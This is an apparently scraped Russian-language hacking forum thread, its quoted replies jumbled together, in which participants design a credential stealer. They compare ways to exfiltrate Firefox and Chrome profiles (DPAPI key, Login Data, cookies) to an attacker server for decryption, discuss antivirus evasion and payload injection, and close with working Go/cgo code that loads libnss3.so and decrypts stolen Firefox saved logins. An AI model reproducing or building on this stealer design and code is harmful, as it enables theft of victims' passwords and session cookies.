Ну да, щас бы малварь под х64 писать.
Майки уже перестали релизить 32 бита, кста. Ну или типа того.
Ну да, щас бы малварь под х64 писать.
Хостов на вин32 от этого меньше не сталоМайки уже перестали релизить 32 бита, кста. Ну или типа того.
Хостов на вин32 от этого меньше не стало
А вот и вредные советы пошли с вредными ссылками, хотя бы в issues заглянул. На данный момент эта реализация не поддерживает Firefox последних версий, месяца как три уже. Они почти полностью изменили криптографические примитивытам принципиально просто всё, щас скину ссылку на что можно опереться https://github.com/kerbyj/goLazagne/blob/master/browsers/mozillaGoLazagne.go на голанге, но по сути разницы нет.
У нас есть грубо 4 способа.Вот это костыль так костыль, но как говорится на вкус и цвет...
В хайде нужно 200 лайков, что-бы просмотреть.
Я маленький еще.)))
Вангую, что там что-то типо "Расшифровывай на сервере", да можно например питон скриптом, там не нужны зависимости и длл.)))
Да, как решение проблемы можно.
как я правильно понял, твоя софтина грузит, например logins.json, на сервер. Там подбирается нужная версия nss3.dll и идет дешифровка? В таком случае можно и хром версии 80 так же на сервере дешифровать, загрузив .db и ключ. Просто копипастУ нас есть грубо 4 способа.
-nss тащим на клиент.
-Кастомная реализация на клиенте
-nss на сервере
-Кастомная реализация на сервере.
Если тащить nss на клиент, то имеем дело с тем, что
1) Нужно подкачивать зависимости/либо искать их на клиенте(что, если профиль остался, а фф удален).
2) После подкачки зависимостей, нужно делать поддержку для фф 86/64.
3) Вес реализации
4) Для авера дополнительная возможность зацепиться за код. Хотя именно в этом пункте все зависит от того, как кодер сделает.
Если тащить кастомную реализацию -
1) Лишаемся проблемы 86/64, так как работаем на прямую с профилем.
2) Не тянем зависимости nss
3) Вес остаётся.
4) Самый огромный минус, что будет ломаться из-за возможных обновлений фф.
Но самый огромный плюс, если делать это на клиенте - нет нужды тащить весь профиль на сервер. А только полезные данные.
В случае с серверным решением - мы вольны использовать любые технологии, однако в кастомной реализации так же мало смысла, ибо ломается. То есть способ через nss на сервере и стабильный и позволяет клиентскому коду похудеть. Клиент код - найти, сжать, отправить.
Однако минус в том, что нужно скачивать весь профиль(или найти в нем только те файлы, что нужны). Я нашёл лучший подход из этого, по моему мнению и реализовал.
———
И теперь я тебе отвечу тебе тут и на ту ветку и на эту. У меня на тебя не горит, просто ты х#йню пишешь. Какие костыли бл#ть? Фф в принципе имеет костыльный подход к расшифровке, я выбрал менее проблемный из всех. Ты лучше скажи, что ты используешь из этого, и резко тоже станешь костыльным))) потому что в большей или меньшей степени во всех способах все не идеально и по другому никак. Но офк ты отшутишься и сольешься, так что я жду конструктива(можно не ждать)
Под хайдом рабочий python3 сорц по дешифровке фф на стороне Linux сервера, с использованием либ libnss3.so и остальных. Расписано что куда настраивать, чтобы все работало. Только профиль подавай. Готовое по сути решение для вставки в Python фреймворк Django/Tornado. Тянет куки и пароли.как я правильно понял, твоя софтина грузит, например logins.json, на сервер. Там подбирается нужная версия nss3.dll и идет дешифровка? В таком случае можно и хром версии 80 так же на сервере дешифровать, загрузив .db и ключ. Просто копипаст
Ааа, у меня тоже такой вариант был. Для полного счастья можно и такое реализовать для хрома 80. И кайфуй. Я уже такое делал на серваке. Довольно хорошо сбросил вес проги. (а для просмотра не хватает реакции)Под хайдом рабочий python3 сорц по дешифровке фф на стороне Linux сервера, с использованием либ libnss3.so и остальных. Расписано что куда настраивать, чтобы все работало. Готовое по сути решение для вставки в Python фреймворк Django/Tornado.
С хромом не все так просто. Тебе нужно сдампить DPAPI. Это не просто вызов CryptUnprotectData, как в случае клиент-сайд кода.Ааа, у меня тоже такой вариант был. Для полного счастья можно и такое реализовать для хрома 80. И кайфуй. Я уже такое делал на серваке. Довольно хорошо сбросил вес проги. (а для просмотра не хватает реакции)
да, с клиента берем ключ (при помощи dpapi), копируем login data, web data, cookies и отправляем на сервер. Но dpapi будет в разы меньше весить, чем полная дешифровка.С хромом не все так просто. Тебе нужно сдампить DPAPI. Это не просто вызов CryptUnprotectData, как в случае клиент-сайд кода.
Причем тут копипаста?Значит, самый оптимальный вариант для хрома -получить ключ, файлы и дешифровать на сервере. Для фф почти то же самое. Значит, в 2020 году можно стиллер сделать почти при помощи копипаста
Ну, ты копируешь файлы, а уже на сервере происходит дешифровкаПричем тут копипаста?
Что за бред ты несешь? Банально для инжектирования пейлоада в процесс тебе прийдется тащить в своем билде две его сборки - x32/x64, иначе ты пейлоад банально не заинжектишь.Ну да, щас бы малварь под х64 писать.
Хотя как вариант можно с собой вируталбокс 32 битный таскать, там развернуть винду х64 и оттуда уже свою малварь стартовать![]()
Как это относится к стиллеру?Что за бред ты несешь? Банально для инжектирования пейлоада в процесс тебе прийдется тащить в своем билде две его сборки - x32/x64, иначе ты пейлоад банально не заинжектишь.
А как твое сообщение относится к стиллеру? Ты говорил про в целом кодинг про х64.Как это относится к стиллеру?
можно тоже под личный хайд??Под хайдом рабочий python3 сорц по дешифровке фф на стороне Linux сервера, с использованием либ libnss3.so и остальных. Расписано что куда настраивать, чтобы все работало. Только профиль подавай. Готовое по сути решение для вставки в Python фреймворк Django/Tornado. Тянет куки и пароли.
Переписал на golang. Собирать нужно с cgo.Скрытое содержимое
package main
/*
#include <stdlib.h>
typedef enum {
siBuffer,
siClearDataBuffer,
siCipherDataBuffer,
siDERCertBuffer,
siEncodedCertBuffer,
siDERNameBuffer,
siEncodedNameBuffer,
siAsciiNameString,
siAsciiString,
siDEROID
} SECItemType;
typedef struct {
SECItemType type;
unsigned char* data;
size_t len;
} SECItem;
*/
import "C"
import (
"log"
"encoding/base64"
"fmt"
"unsafe"
"github.com/rainycape/dl"
)
type Nss struct {
NSS_Init func(path string) int
NSS_Shutdown func()
PK11_GetInternalKeySlot func() uintptr
PK11_FreeSlot func(slotPtr uintptr)
PK11_CheckUserPassword func(slotPtr uintptr, s string) int
PK11_Authenticate func(slotPtr uintptr, b int, ptr uintptr) int
PK11SDR_Decrypt func(in *C.SECItem, out *C.SECItem, ptr uintptr) int
}
func GetFunc(libnss3 *dl.DL) (nss Nss, err error) {
err = libnss3.Sym("NSS_Init", &nss.NSS_Init)
if err != nil {
return
}
err = libnss3.Sym("NSS_Shutdown", &nss.NSS_Shutdown)
if err != nil {
return
}
err = libnss3.Sym("PK11_GetInternalKeySlot", &nss.PK11_GetInternalKeySlot)
if err != nil {
return
}
err = libnss3.Sym("PK11_FreeSlot", &nss.PK11_FreeSlot)
if err != nil {
return
}
err = libnss3.Sym("PK11_CheckUserPassword", &nss.PK11_CheckUserPassword)
if err != nil {
return
}
err = libnss3.Sym("PK11_Authenticate", &nss.PK11_Authenticate)
if err != nil {
return
}
err = libnss3.Sym("PK11SDR_Decrypt", &nss.PK11SDR_Decrypt)
if err != nil {
return
}
return
}
func InitNSS(nss Nss, path string) bool {
status := nss.NSS_Init("sql:"+path)
if status != 0 {
return false
}
slot := nss.PK11_GetInternalKeySlot()
if slot == 0 {
nss.NSS_Shutdown()
return false
}
status = nss.PK11_CheckUserPassword(slot, "")
if status != 0 {
return false
}
status = nss.PK11_Authenticate(slot, 1, 0)
if status != 0 {
return false
}
return true
}
func Decrypt(nss Nss, encData string) string {
data, err := base64.StdEncoding.DecodeString(encData)
if err != nil {
log.Fatalln(err)
}
in := (*C.SECItem)(C.malloc(C.sizeof_SECItem))
defer C.free(unsafe.Pointer(in))
in.data = (*C.uchar)(&data[0])
in.len = (C.ulong)(len(data))
out := (*C.SECItem)(C.malloc(C.sizeof_SECItem))
defer C.free(unsafe.Pointer(out))
status := nss.PK11SDR_Decrypt(in, out, 0)
if status != 0 {
log.Fatalln("decrypt error")
}
bytes := C.GoBytes(unsafe.Pointer(out.data), C.int(out.len))
return string(bytes)
}
func main() {
libnss3, err := dl.Open("./libs/libnss3.so", 0)
if err != nil {
return
}
defer libnss3.Close()
nss, err := GetFunc(libnss3)
if err != nil {
log.Fatalln(err)
}
InitNSS(nss, "./profile")
d := Decrypt(nss, "тут зашифрованные данные")
fmt.Println(d)
}